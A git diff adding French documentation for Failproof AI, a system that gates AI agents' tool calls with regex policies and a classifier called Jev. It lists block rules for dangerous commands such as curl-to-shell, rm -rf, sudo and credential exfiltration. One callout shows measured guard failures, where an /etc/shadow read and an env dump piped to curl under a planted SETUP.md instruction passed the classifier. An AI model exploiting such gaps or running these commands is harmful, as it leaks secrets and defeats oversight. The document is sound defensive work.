diff --git a/docs/evaluations/overview.mdx b/docs/evaluations/overview.mdx
index 5413ca142..2fe9f46f3 100644
--- a/docs/evaluations/overview.mdx
+++ b/docs/evaluations/overview.mdx
@@ -23,7 +23,7 @@ Hosted evaluations come in three shapes, and the assistant picks between them fo
| | Reads the session with | Gives you |
| --- | --- | --- |
| **Code** | nothing — one Python expression, no imports, no network | a score, a metric, or an assertion |
-| **[Classifier](/evaluations/jev)** | a small model built for classification | a score, and nothing else — it does not explain itself |
+| **[Jev classifier](/evaluations/jev)** | a small model built for classification | a score, and nothing else — it does not explain itself |
| **[Judge](/evaluations/judge)** | a general-purpose model | a score **and** the reasoning behind it |
Code costs nothing to run. The other two cost a model call per session, so give them a condition that narrows them to the sessions the question is actually about.
diff --git a/docs/fr/evaluations/jev.mdx b/docs/fr/evaluations/jev.mdx
new file mode 100644
index 000000000..aeef72e11
--- /dev/null
+++ b/docs/fr/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "Évaluations Jev"
+description: "Utilisez Jev pour noter une session terminée par rapport à une question avec des réponses connues."
+icon: "list-checks"
+---
+
+Une évaluation Jev lit une **session terminée** et attribue un score de 0 à 1. Utilisez-la lorsque la réponse est connue à l'avance, par exemple « Le client a-t-il exprimé de l'urgence ? » ou « À quel point le client était-il frustré ? » Elle vous aide à identifier des tendances entre les exécutions ; elle n'interrompt pas un appel d'outil. Pour les décisions prises **avant** l'exécution d'un outil, utilisez les [politiques Jev](/fr/policies/jev).
+
+## Créer une évaluation dans le tableau de bord
+
+1. Ouvrez **Analyze → eval authoring** et sélectionnez **new eval**.
+2. Décrivez une question et ses réponses possibles. Par exemple : « L'agent a-t-il promis un remboursement avant de vérifier la politique de remboursement ? Répondez par oui ou non. » Sélectionnez **draft** et vérifiez que le résultat est bien un score de classification.
+3. [Testez-la](/fr/evaluations/test) sur des sessions récentes, puis [déployez-la](/fr/evaluations/deploy). Les nouvelles sessions terminées sont notées ; [effectuez un remplissage rétroactif](/fr/evaluations/deploy#score-sessions-you-already-have) si vous avez également besoin de l'historique.
+
+
+
+L'assistant peut choisir entre du code, une classification Jev et un [juge](/fr/evaluations/judge). Vérifiez son choix avant le déploiement. Jev fournit un score sans raisonnement en prose ; choisissez un juge lorsque vous avez besoin d'une explication. Consultez la [référence des évaluations Jev](/fr/reference/jev-evaluations) pour les types de questions et les limites de score.
+
+## Lire les scores
+
+Ouvrez **Observe → Evaluations** pour visualiser le résultat par agent et par période. Depuis un terminal, le Cloud CLI peut lire les mêmes résultats :
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+Le Cloud CLI lit les résultats ; la création et le déploiement s'effectuent dans le tableau de bord. Consultez la [référence du Cloud CLI](/fr/reference/cloud-cli#evaluations) pour les filtres.
\ No newline at end of file
diff --git a/docs/fr/evaluations/judge.mdx b/docs/fr/evaluations/judge.mdx
new file mode 100644
index 000000000..eaa271efa
--- /dev/null
+++ b/docs/fr/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "Juges LLM"
+description: "Évaluez les sessions sur des aspects que le code ne peut pas mesurer — exactitude, ton, respect d'une politique par l'agent — en décrivant ce qu'une bonne réponse signifie et en laissant un modèle lire la conversation."
+icon: "scale"
+---
+
+Une évaluation Python hébergée peut compter et comparer : combien d'appels d'outils, combien d'erreurs, combien de temps a duré une session. Elle ne peut pas vous dire si une réponse était *correcte*, si une réponse était impolie, ou si l'agent a consulté une politique avant d'agir.
+
+Un **juge LLM** le peut. Vous décrivez ce qu'une bonne réponse signifie en langage naturel, et un modèle lit la session puis retourne un score de 0 à 1 accompagné de son raisonnement.
+
+
+Un juge coûte un appel de modèle par session traitée, tandis qu'une évaluation par code ne coûte rien. Utilisez un juge uniquement pour les questions qui nécessitent que la conversation soit *comprise* — et associez-lui une condition, afin qu'il ne s'exécute que sur les sessions concernées par la question.
+
+
+## Lequel choisir ?
+
+| Question | À utiliser |
+| --- | --- |
+| A-t-il appelé le même outil deux fois ? | code |
+| Combien d'erreurs y a-t-il eu ? | code |
+| La session a-t-elle duré moins de 30 secondes ? | code |
+| Le client a-t-il exprimé une urgence ? | [classificateur](/fr/evaluations/jev) |
+| Quel était le niveau de frustration du client ? | [classificateur](/fr/evaluations/jev) |
+| La réponse était-elle réellement correcte ? | **juge** |
+| La réponse était-elle impolie ou dédaigneuse ? | **juge** |
+| A-t-il vérifié la politique de remboursement avant de promettre un remboursement ? | **juge** |
+
+La règle d'or : **quantifiable → code, réponses énumérables à l'avance → [classificateur](/fr/evaluations/jev), nécessite une explication → juge.** Un juge est celui qui rédige des commentaires sur ce qu'il a observé ; faites appel à lui quand le chiffre seul amènera quelqu'un à demander « pourquoi ? ».
+
+Vous n'avez pas à décider à l'avance. Décrivez ce que vous souhaitez mesurer et l'assistant choisit, puis vous explique ce qu'il a choisi et pourquoi. Vous pouvez changer d'avis.
+
+## Créer un juge
+
+1. Accédez à **Analyser → création d'éval** et sélectionnez **nouvelle éval**.
+2. Décrivez ce que vous souhaitez juger, puis sélectionnez **brouillon**.
+3. Vérifiez les **critères**, le **seuil** et la **condition**, puis déployez.
+
+### Critères
+
+Une ou deux phrases, formulées comme une exigence plutôt qu'une question :
+
+> L'assistant ne doit pas promettre ni approuver un remboursement sans avoir d'abord consulté la politique de remboursement.
+
+Soyez précis sur ce qui constituerait un *échec*. « La réponse était-elle bonne ? » vous donne un chiffre qui ne signifie rien ; la phrase ci-dessus vous en donne un sur lequel vous pouvez agir.
+
+### Seuil
+
+Le score à partir duquel la session est considérée comme réussie. `0.7` est un bon point de départ. Le score complet de 0 à 1 est toujours enregistré, donc le seuil détermine uniquement la réussite ou l'échec — vous pouvez consulter la distribution et l'ajuster.
+
+### Condition
+
+La même condition Python que pour toute autre évaluation, et elle importe bien davantage ici. Sans condition, le juge s'exécute sur **toutes** les sessions de votre organisation, à raison d'un appel de modèle chacune :
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+Le tableau de bord vous avertit si vous déployez un juge sans condition. C'est parfois justifié — un agent à faible volume que vous souhaitez juger intégralement — mais cela doit être un choix délibéré, pas un accident.
+
+## Ce que le juge voit
+
+La conversation, sous forme de tours, du plus récent au plus ancien si la session est longue :
+
+- ce que l'utilisateur a dit
+- ce que l'assistant a répondu
+- **chaque outil appelé par l'agent, et ce que cet appel a retourné, dans l'ordre**
+
+Ce dernier point est ce qui rend la question « a-t-il fait X *avant* Y » tout à fait légitime. Un appel d'outil échoué est affiché comme tel, donc « a-t-il récupéré gracieusement après une erreur » est également une question valable.
+
+Les sessions très longues sont tronquées pour tenir dans le contexte du modèle. Lorsque cela se produit, le raisonnement le précise explicitement — vous ne verrez jamais un jugement rendu sur une partie de session présenté comme s'il portait sur l'ensemble.
+
+## Lire les résultats
+
+Un juge produit un **score** comme toute autre évaluation scorée, donc il s'affiche dans les graphiques, les filtres et les alertes de la même façon. En plus du score, il enregistre le **raisonnement** du juge — le paragraphe expliquant ce qu'il a observé. Lisez-le en premier lorsqu'un score vous surprend ; il s'agit généralement soit d'une session véritablement intéressante, soit d'un signe que les critères ont besoin d'être affinés.
+
+Les scores sont stables pour les cas clairs, mais ne sont pas déterministes au bit près. Traitez un score limite isolé comme une invitation à lire la session, et non comme un verdict définitif.
+
+## Limites
+
+- **Les tests ne sont pas encore disponibles.** Un test à vide n'a pas d'affectation de session associée, et c'est cette affectation qui autorise la dépense de votre budget de modèle — il n'y a donc rien à facturer lors d'un appel de test. Déployez avec une condition restrictive et lisez les premiers résultats.
+- **Le remplissage rétroactif n'est pas disponible.** Remplir rétroactivement une évaluation par code sur plusieurs mois d'historique est gratuit ; le faire avec un juge consommerait l'intégralité de votre budget en quelques minutes.
+- **Modifier les critères publie une nouvelle version.** Les anciens et nouveaux scores ne sont pas comparables, ils sont donc conservés séparément plutôt que mélangés dans une seule tendance.
+- **Un juge produit toujours un score**, jamais une métrique ou une assertion.
+
+## Lorsque votre budget est épuisé
+
+Les juges consomment le budget de modèle de votre organisation. Lorsqu'il est épuisé, les évaluations par juge s'arrêtent avec un message d'erreur explicite plutôt qu'en échouant silencieusement, et **les évaluations par code continuent de fonctionner normalement**. Augmentez le budget et elles reprennent à la prochaine session.
\ No newline at end of file
diff --git a/docs/fr/policies/authority.mdx b/docs/fr/policies/authority.mdx
new file mode 100644
index 000000000..b1347bf1e
--- /dev/null
+++ b/docs/fr/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "Autorité des politiques"
+description: "Quels verdicts de politique l'évaluateur sémantique Jev peut lever, et lesquels sont définitifs."
+icon: "scale"
+---
+
+Lorsque vous configurez [la revue de politique Jev](/fr/policies/jev) via FailproofAI Cloud ou votre propre clé, chaque appel d'outil soumis à vérification est jugé par les politiques que vous exécutez et par Jev, qui cherche à comprendre ce que l'appel fait réellement et si la personne ayant saisi la tâche l'a demandé. L'**autorité** de chaque politique détermine ce qui se passe lorsque les deux divergent.
+
+Sans Jev configuré, l'autorité n'a aucun effet. Chaque politique s'applique exactement comme elle l'a toujours fait.
+
+## Hard et reviewable
+
+- **Hard** est la valeur par défaut. Le refus ou l'instruction d'une politique hard est définitif : Jev ne peut pas le lever, et un refus hard arrête l'appel sans attendre Jev.
+- **Reviewable** signifie que Jev peut lever le verdict de la politique, mais uniquement via les vérifications sémantiques que la politique nomme dans `reviewedBy`. Le verdict n'est levé que lorsque **chaque** vérification nommée a été interrogée sur cet appel et que chacune n'a rien trouvé ou a enregistré que l'utilisateur l'avait demandé. Une vérification qui a **déclenché** — ayant trouvé le problème — sans que l'utilisateur l'ait demandé maintient le blocage, même si son propre verdict n'est qu'un avertissement. Une vérification que Jev n'a pas été invité à faire, parce qu'elle ne s'applique pas à cet outil, ne lève jamais rien, quoi qu'aient dit les autres. Un assouplissement compte comme un consentement : lorsque l'appel est une étape de la tâche que l'utilisateur a donnée et ne va pas au-delà, Jev transforme un refus en avertissement, et cet avertissement lève le blocage de la politique et c'est ce qui est communiqué à l'agent.
+
+Une politique n'est reviewable que si toutes ces conditions sont réunies :
+
+1. Elle déclare `authority: "reviewable"`.
+2. `reviewedBy` est une liste non vide, et chaque entrée est une vérification Jev déclarée par un pack installé. Failproof AI ne fournit aucune vérification Jev : les [seize ci-dessous](#semantic-policy-names) proviennent de `failproofai policies add FailproofAI/jev-policies`. Sans pack déclarant des vérifications, chaque politique est hard.
+3. Elle n'est pas `alwaysOn`. La garde qui empêche un agent de désactiver Failproof AI est toujours hard.
+
+Tout autre cas est hard : un champ manquant, une valeur mal orthographiée, un `reviewedBy` vide ou malformé, ou un nom qui n'est pas une vérification que cette machine peut interroger. Un nom inconnu rend toute la déclaration hard plutôt que d'être ignoré, car `reviewedBy` signifie « toutes ces vérifications doivent être interrogées, et aucune ne peut refuser » — ignorer un nom permettrait à Jev de lever la politique avec moins de vérifications que vous l'avez demandé.
+
+Une fois Jev configuré, Failproof AI enregistre un avertissement lorsqu'il refuse une déclaration `reviewable`, une fois par processus. Sans Jev, il ne dit rien, car l'autorité ne décide alors de rien. `failproofai publish` refuse de construire un pack contenant une telle déclaration, afin que l'auteur du pack le découvre avant que quiconque ne l'installe. Il évalue `reviewedBy` par rapport aux vérifications que le pack déclare lorsqu'il en déclare, et par rapport aux seize noms `FailproofAI/jev-policies` sinon.
+
+## Où l'autorité est déclarée
+
+Chaque façon dont une politique atteint une machine a un endroit qui décide de son autorité :
+
+| Source | Déclarée dans | Par défaut |
+| --- | --- | --- |
+| Politiques intégrées | Le tableau ci-dessous | Hard sauf si listée comme reviewable |
+| Vos propres fichiers de politique | `authority` et `reviewedBy` sur `customPolicies.add` | Hard |
+| Packs de politiques | L'entrée de chaque politique dans le manifeste du pack (`failproofai-pack.json`) | Hard |
+| Politiques gérées dans le cloud | L'affectation de la politique dans le déploiement actif | Hard. Les déploiements ne la définissent pas encore, donc toute politique gérée dans le cloud est hard aujourd'hui. |
+
+Pour un pack ou une politique gérée dans le cloud, les champs définis dans le code de la politique sont ignorés ; c'est le manifeste ou l'affectation qui décide. Un pack ne peut décrire que ses propres politiques : ses noms de politique ne peuvent pas contenir `/` et sont enregistrés sous le préfixe propre du pack, de sorte qu'aucun manifeste ne peut marquer une politique intégrée ou la politique d'un autre pack comme reviewable. Une politique que le code d'un pack enregistre sans la déclarer dans le manifeste est hard.
+
+Deux packs, ou deux politiques gérées dans le cloud, dont le code est identique octet par octet partagent un seul artefact et se chargent comme une seule politique. Cette politique n'est reviewable que si chacun d'eux la déclare reviewable, et Jev doit alors lever chaque vérification que l'un d'eux nomme. Si l'un d'eux la déclare hard, ou ne la déclare pas du tout, elle reste hard. L'ordre dans lequel les packs ou les politiques sont listés n'a jamais d'importance.
+
+La plupart des machines obtiennent les politiques intégrées depuis le pack `FailproofAI/policies`, et lisent leur autorité depuis le manifeste de ce pack. Les entrées reviewable ci-dessous prennent effet une fois qu'une version du pack qui les contient est installée ; une version plus ancienne n'en contient aucune, donc chaque politique qu'elle contient reste hard.
+
+## Déclarer l'autorité dans votre propre politique
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` copie les deux champs dans le manifeste du pack, de sorte qu'une politique publiée en tant que pack conserve l'autorité que son auteur lui a donnée. Il refuse de construire le pack si une déclaration ne serait pas honorée : une valeur autre que `"hard"` ou `"reviewable"`, un `reviewedBy` qui n'est pas une liste de noms, ou un nom qui n'est pas une vérification — l'une des [vérifications Jev](/fr/policies/publish-a-pack#jev-checks-in-a-pack) propres au pack lorsqu'il en déclare, une vérification intégrée sinon.
+
+## Politiques intégrées
+
+Reviewable uniquement lorsqu'une politique sémantique couvre réellement la même préoccupation. Toute autre politique intégrée est hard.
+
+Couvrir la préoccupation est nécessaire mais pas suffisant, et les deux façons de se tromper sont silencieuses :
+
+- **Une vérification qui n'est jamais interrogée** rend le blocage permanent. `reviewedBy` est une conjonction et une vérification qui n'a pas été interrogée ne lève jamais rien, donc une politique associée à une vérification dont la précondition ne se déclenche pas pour les formes que la politique correspond ne peut jamais être levée.
+- **Une vérification interrogée mais qui ne se déclenche pas** répond « aucune préoccupation », et aucune préoccupation lève le verdict. Donc associer une vérification qui ne modélise pas les formes de votre politique ne revient pas à revoir la politique — cela la désactive précisément pour les entrées que la vérification ne comprend pas.
+
+Une politique sémantique en mode instruct ne peut jamais répondre par un refus, mais elle peut quand même maintenir un blocage : lorsqu'elle se déclenche et que l'utilisateur n'a pas demandé l'appel, la politique qu'elle revoit n'est pas levée. Six des vérifications `FailproofAI/jev-policies` sont uniquement en mode instruct — `push-to-protected-branch`, `commit-on-protected-branch`, `read-outside-workspace`, `system-modification`, `env-secrets-dump` et `external-data-egress` — et le [tableau ci-dessous](#semantic-policy-names) donne le mode de chaque vérification. La question à se poser est **« reste-t-il quelque chose qui puisse refuser »** : une levée ne doit jamais laisser la préoccupation sans aucune application. Le moteur applique ce test par appel. Un avertissement pour lequel personne n'a donné son consentement n'est pas une levée, car avant les appels d'outils un avertissement n'arrête pas l'agent. Et lorsqu'une vérification qui *peut* refuser émet un avertissement — ses preuves sont en dessous de son seuil de refus — et que l'utilisateur n'a pas demandé l'appel, rien n'est levé sur cet appel et tous les refus regex tiennent.
+
+
+**Une vérification dont le score est juste en dessous de son seuil de déclenchement ne maintient pas le plancher.** La règle ci-dessus nécessite qu'une vérification se *déclenche* (preuve ≥ 0,7). Lorsque chaque vérification pertinente se situe juste en dessous, rien ne se déclenche, les réviseurs répondent « aucune préoccupation », et un refus reviewable est levé. Mesuré en direct en mode d'application : une lecture non demandée de `/etc/shadow` (`secret-exposure` 0,69, `read-outside-workspace` 0,37, qui ne modélise que les chemins du répertoire personnel) et `set | curl -d @- …` après « suis SETUP.md » (`env-secrets-dump` 0,66, `credential-exfiltration` 0,65 avec `sends_out` 0,97) ont toutes deux été autorisées, alors que le seul niveau regex les refuse. Les seuils ont été calibrés sur le corpus étiqueté et n'ont pas été remesuré par rapport à celui-ci ; jusqu'à ce qu'ils le soient, gardez une politique **hard** lorsque le passage de l'une de ces formes importe plus que ses faux blocages.
+
+
+| Politique | Autorité | Revue par | Pourquoi |
+| --- | --- | --- | --- |
+| `protect-env-vars` | reviewable | `env-secrets-dump`, `secret-exposure` | Le motif se déclenche sur toute référence de variable ; Jev demande si les valeurs secrètes seraient effectivement affichées. |
+| `block-env-files` | reviewable | `secret-exposure` | Le motif correspond à tout chemin `.env`, templates inclus ; Jev demande si de vraies valeurs secrètes seraient lues ou écrites. |
+| `block-read-outside-cwd` | reviewable | `read-outside-workspace` | Mesuré comme bruyant sur le trafic réel ; Jev demande si le contenu de fichiers hors du projet est lu. Une lecture demandée par l'utilisateur, ou que la vérification ne trouve rien, est levée ; une lecture non demandée qu'elle signale maintient le blocage. |
+| `warn-git-amend` | reviewable | `git-history-rewrite` | Amender un commit non poussé est ordinaire ; le préjudice est de réécrire l'historique que d'autres ont peut-être récupéré. |
+| `warn-destructive-sql` | reviewable | `database-destruction` | Jev demande aussi si la cible est une vraie base de données plutôt qu'une de test jetable. |
+| `warn-global-package-install` | reviewable | `system-modification` | La même préoccupation : modifier la machine en dehors du projet. |
+| `block-failproofai-commands` | hard | | Auto-protection `alwaysOn`. Jamais reviewable. |
+| `block-rm-rf` | reviewable | `destructive-deletion` | L'heuristique de profondeur de chemin se trompe sur `rm -rf node_modules` ; Jev demande si ce qui serait détruit est régénérable. `rm -rf /` maintient les deux sondes vraies. |
+| `block-sudo` | hard | | Élévation de privilèges. |
+| `block-curl-pipe-sh` | hard | | Exécute du code téléchargé depuis internet. |
+| `block-push-master` | hard | | Pousse directement vers une branche protégée. |
+| `block-work-on-main` | hard | | `commit-on-protected-branch` couvre exactement cette préoccupation mais est en mode instruct, donc ne peut jamais répondre par un refus, et aucune autre vérification ne la couvre. |
+| `block-force-push` | reviewable | `git-history-rewrite` | La sonde de Jev est un sur-ensemble du matcher et compte `--force-with-lease` ; ce qui est levé est le force-push de votre propre branche. |
+| `block-secrets-write` | reviewable | `secret-exposure` | La correspondance de chemin n'est pas ancrée, donc `src/auth/credentials.ts` est capturé ; Jev demande si du vrai matériel de clé est en train d'être écrit. |
+| `block-kubectl` | reviewable | `production-infra-change` | Refuse toute la CLI, sous-commandes en lecture seule incluses ; Jev demande si l'appel mute et si la cible est en production. |
+| `block-terraform` | reviewable | `production-infra-change` | Pareil : lève `terraform plan` et `validate`. |
+| `block-aws-cli` | reviewable | `production-infra-change` | Pareil : lève `aws s3 ls`, `aws sts get-caller-identity`. |
+| `block-gcloud` | reviewable | `production-infra-change` | Pareil : lève `gcloud auth list`, `gcloud config list`. |
+| `block-az-cli` | reviewable | `production-infra-change` | Pareil : lève `az account show`. |
+| `block-helm` | reviewable | `production-infra-change` | Pareil : lève `helm list`, `helm status`. |
+| `block-gh-pipeline` | hard | | Déclenche des pipelines, des fusions et des changements de secrets. |
+| `warn-git-stash-drop` | hard | | Aucune vérification sémantique ne couvre l'abandon du travail mis de côté. |
+| `warn-git-clean` | hard | | `destructive-deletion` couvre la préoccupation mais ne peut manifestement pas se déclencher sur elle : `git clean` ne nomme aucun chemin, donc sa sonde `irreplaceable` n'a rien à juger et répond bas, et la preuve est le minimum sur les sondes d'une politique. Une vérification interrogée qui ne se déclenche pas lève le verdict, donc l'associer ici désactiverait la politique. |
+| `warn-all-files-staged` | hard | | Aucune vérification sémantique ne couvre ce qu'un `git add` large capture. |
+| `warn-schema-alteration` | hard | | `database-destruction` couvre la suppression de données, pas l'altération d'un schéma. |
+| `warn-package-publish` | hard | | La publication est irréversible et aucune vérification sémantique ne la couvre. |
+| `prefer-package-manager` | hard | | Une convention d'équipe, pas un jugement de sécurité. |
+| `warn-large-file-write` | hard | | Un seuil de taille, pas un jugement que Jev peut faire. |
+| `warn-background-process` | hard | | Aucune vérification sémantique ne couvre les processus détachés. |
+| `warn-repeated-tool-calls` | hard | | Compte les appels ; Jev ne peut pas compter. |
+| `sanitize-jwt` | hard | | Expurge la sortie d'outil ; pas une porte d'appel d'outil. |
+| `sanitize-api-keys` | hard | | Expurge la sortie d'outil ; pas une porte d'appel d'outil. |
+| `sanitize-connection-strings` | hard | | Expurge la sortie d'outil ; pas une porte d'appel d'outil. |
+| `sanitize-private-key-content` | hard | | Expurge la sortie d'outil ; pas une porte d'appel d'outil. |
+| `sanitize-bearer-tokens` | hard | | Expurge la sortie d'outil ; pas une porte d'appel d'outil. |
+| `require-commit-before-stop` | hard | | Une porte de fin de session, pas une porte d'appel d'outil. |
+| `require-push-before-stop` | hard | | Une porte de fin de session, pas une porte d'appel d'outil. |
+| `require-pr-before-stop` | hard | | Une porte de fin de session, pas une porte d'appel d'outil. |
+| `require-no-conflicts-before-stop` | hard | | Une porte de fin de session, pas une porte d'appel d'outil. |
+| `require-ci-green-before-stop` | hard | | Une porte de fin de session, pas une porte d'appel d'outil. |
+
+## Semantic policy names
+
+Ce sont les vérifications que `FailproofAI/jev-policies` déclare, et les valeurs que `reviewedBy` accepte une fois installé. Failproof AI lui-même n'en fournit aucune : sans ce pack (ou un autre déclarant ces noms), aucune politique les nommant n'est reviewable. Chacune est une vérification que Jev répond à propos de l'appel d'outil qui lui est soumis. **Mode** est ce qu'une vérification peut répondre : une vérification `deny` bloque sur des preuves solides, tandis qu'une vérification `instruct` n'émet que des avertissements. L'une ou l'autre maintient le refus d'une politique lorsqu'elle se déclenche et que l'utilisateur n'a pas demandé l'appel. **L'utilisateur peut annuler** indique si la demande explicite de l'humain la lève.
+
+Jev interroge exactement les [vérifications Jev](/fr/policies/publish-a-pack#jev-checks-in-a-pack) que les packs installés déclarent, et ce sont les noms que `reviewedBy` accepte. Un nom déclaré différemment par deux packs n'est honoré par aucun des deux. L'un de ces seize noms déclaré par un pack non installé depuis un dépôt FailproofAI est ignoré dans ce pack : sa version n'est jamais interrogée et ne conteste pas celle de FailproofAI, de sorte qu'un pack tiers ne peut ni devenir la vérification qui lève les politiques du pack principal ni désactiver l'une de ces vérifications. Une liste de packs illisible, ou un pack dont chaque vérification est inutilisable, ne laisse rien à interroger à Jev.
+
+| Nom | Mode | L'utilisateur peut annuler | Ce que Jev vérifie |
+| --- | --- | --- | --- |
+| `destructive-deletion` | deny | oui | Suppression permanente de données ne pouvant être régénérées. |
+| `production-infra-change` | deny | oui | Modification d'une infrastructure en production. |
+| `git-history-rewrite` | deny | oui | Réécriture ou abandon de l'historique git partagé. |
+| `push-to-protected-branch` | instruct | oui | Pousser directement vers une branche protégée. |
+| `commit-on-protected-branch` | instruct | oui | Committer directement sur une branche protégée. |
+| `secret-exposure` | deny | oui | Lire ou copier des identifiants. |
+| `credential-exfiltration` | deny | non | Envoyer des secrets ou des fichiers privés hors de la machine. |
+| `remote-code-execution` | deny | oui | Exécuter du code téléchargé depuis internet. |
+| `privilege-escalation` | deny | oui | Exécuter avec des privilèges élevés. |
+| `database-destruction` | deny | oui | Détruire ou modifier en masse des données de base de données. |
+| `read-outside-workspace` | instruct | oui | Lire des fichiers hors du projet. |
+| `agent-config-tampering` | deny | non | Modifier la configuration de sécurité propre à l'agent. |
+| `system-modification` | instruct | oui | Modifier le système en dehors du projet. |
+| `env-secrets-dump` | instruct | oui | Afficher des secrets d'environnement. |
+| `external-destructive-action` | deny | oui | Une action irréversible via un outil externe. |
+| `external-data-egress` | instruct | oui | Envoyer des données privées à un outil externe. |
\ No newline at end of file
diff --git a/docs/fr/policies/jev-byok.mdx b/docs/fr/policies/jev-byok.mdx
new file mode 100644
index 000000000..1c3061ce5
--- /dev/null
+++ b/docs/fr/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "Evaluateur Jev (apportez votre propre clé)"
+description: "Laissez le classificateur Jev de TypeSafe juger les appels d'outils de vos agents au-dessus d'un seuil regex strict, via votre propre endpoint et clé Jev."
+icon: "key-round"
+---
+
+Les politiques regex correspondent à des chaînes de caractères. Elles ne peuvent pas distinguer `rm -rf build/` que vous avez demandé de `rm -rf ~` qui s'est glissé dans un plan — elles bloquent donc trop à un endroit et pas assez à un autre. **Jev**, le classificateur de TypeSafe, lit l'appel au regard de ce que vous avez réellement demandé et répond à un ensemble de questions oui/non à son sujet en une seule requête rapide.
+
+Avec votre propre endpoint et clé Jev configurés, Failproof AI interroge Jev pour chaque appel d'outil **en parallèle** des politiques regex, jamais à la place de celles-ci :
+
+- Le refus d'une politique **stricte** est définitif. Jev ne peut pas l'annuler. Toute politique est stricte sauf si elle est explicitement marquée comme révisable et nomme les vérifications Jev qui la couvrent — ainsi, une politique personnalisée, de pack ou Cloud qui ne dit rien est stricte, et la protection automatique toujours active est toujours stricte.
+- Le refus d'une politique **révisable** peut être annulé, mais uniquement lorsque Jev a été interrogé sur le problème exact que cette politique couvre et a répondu « rien à signaler » ou « l'utilisateur l'a demandé ». Une vérification qui juge le problème réel, alors que l'utilisateur n'a pas demandé l'appel, maintient le refus — même si son propre verdict n'est qu'un avertissement, car avant un appel d'outil un avertissement n'arrête pas l'agent. Et lorsque cette vérification peut entraîner un refus (exposition de secrets, exfiltration d'identifiants, suppression destructive…), rien n'est annulé pour cet appel.
+- Un blocage peut encore devenir un **avertissement** lorsque l'appel est une étape de la tâche que vous avez confiée et ne va pas plus loin : Jev adoucit son propre refus en avertissement, et cet avertissement — précisant ce qui est réellement problématique dans l'appel — remplace le blocage de la politique.
+- Jev peut aussi avertir ou refuser de lui-même, pour un préjudice qu'aucune regex ne décrit.
+- Si Jev ne peut pas répondre (timeout, limite de débit, erreur serveur, crédits épuisés, version de modèle inattendue), cet appel reçoit le résultat regex, exactement comme sans Jev.
+- Jev ne rend jamais un appel plus permissif que vos politiques seules, à moins d'avoir lu l'intégralité de l'appel et d'avoir été interrogé sur le problème exact. Tout ce qui est en deçà — un appel trop volumineux pour être envoyé en entier, une injection suspectée — retire les autorisations et maintient tous les refus.
+
+
+Sans configuration Jev, rien ne change : les hooks exécutent les politiques regex exactement comme ils l'ont toujours fait. La configuration est l'intégralité du mécanisme d'activation.
+
+
+
+Vous utilisez FailproofAI Cloud ? Vous n'avez pas besoin de votre propre clé : une machine connectée avec une clé portant `jev:evaluate` peut utiliser Jev sur le plan de votre organisation. Consultez [Jev via FailproofAI Cloud](/fr/policies/jev-cloud).
+
+
+## Choisissez un fournisseur
+
+Jev est accessible via cinq routes. Apportez une clé pour l'une d'entre elles.
+
+| Fournisseur | `--provider` | Endpoint | Modèle par défaut | Notes |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Version exacte épinglée. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Les requêtes sont acheminées uniquement vers des endpoints sans rétention de données, sans fallback vers un autre fournisseur. Rapporte une version datée telle que `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Nomme Jev uniquement par un alias, donc la version répondante est enregistrée comme non vérifiée. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Nécessite `--account-id`. Environ six appels par seconde par clé ont été mesurés avant HTTP 429. |
+| Votre propre endpoint | `custom` | `/systemone` | `jev-1.13.0` | Tout endpoint qui accepte le corps de requête de TypeSafe et indique quel modèle a répondu. `https` uniquement ; le simple `http://localhost` est accepté uniquement en mode shadow. |
+
+
+Avec la fonctionnalité bring-your-own-key de Vercel, une requête échouée est silencieusement réessayée avec les identifiants de Vercel. Si vous avez besoin que chaque appel soit facturé et visible uniquement sur votre propre compte TypeSafe, utilisez TypeSafe directement.
+
+
+## Configuration
+
+Une seule commande, l'endpoint et la clé :
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+```
+
+### L'URL détermine le fournisseur
+
+Vous n'avez pas à nommer le fournisseur : le **host** de l'URL indique lequel c'est.
+
+| Host de l'URL | Fournisseur | Nécessite aussi |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| tout autre host | `custom` | — l'URL fournie est l'URL de base |
+
+Trois conséquences en découlent :
+
+- **Une URL qui est l'API propre du fournisseur n'écrit aucune substitution.** `--url https://api.typesafe.ai/v1` produit exactement la même configuration que `--provider typesafe`. Donnez un chemin ou un host différent sur un fournisseur connu et il est stocké comme URL de base, comme le ferait `--base-url`.
+- **`--provider` remplace toujours l'inférence**, ce qui permet d'atteindre un proxy qui parle l'API d'un fournisseur depuis votre propre host : `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Un `--provider` qui contredit le host est refusé**, sans tentative de deviner. `--provider openrouter --url https://api.typesafe.ai/v1` n'écrit rien et explique pourquoi : les deux indications sont en désaccord sur la destination de votre clé. La même combinaison est refusée depuis `jev setup --base-url` et depuis les paramètres Jev du tableau de bord. (`--provider custom` n'est pas une contradiction — cela signifie « traiter cette URL telle quelle » — sauf sur le host de Cloudflare, dont l'endpoint par compte ne peut pas être atteint via une route custom.)
+
+`--url` est validé exactement comme le `baseUrl` dans le fichier de configuration, et refusé dans les mêmes termes : `https`, ou simple `http://localhost` en mode shadow uniquement.
+
+### La clé
+
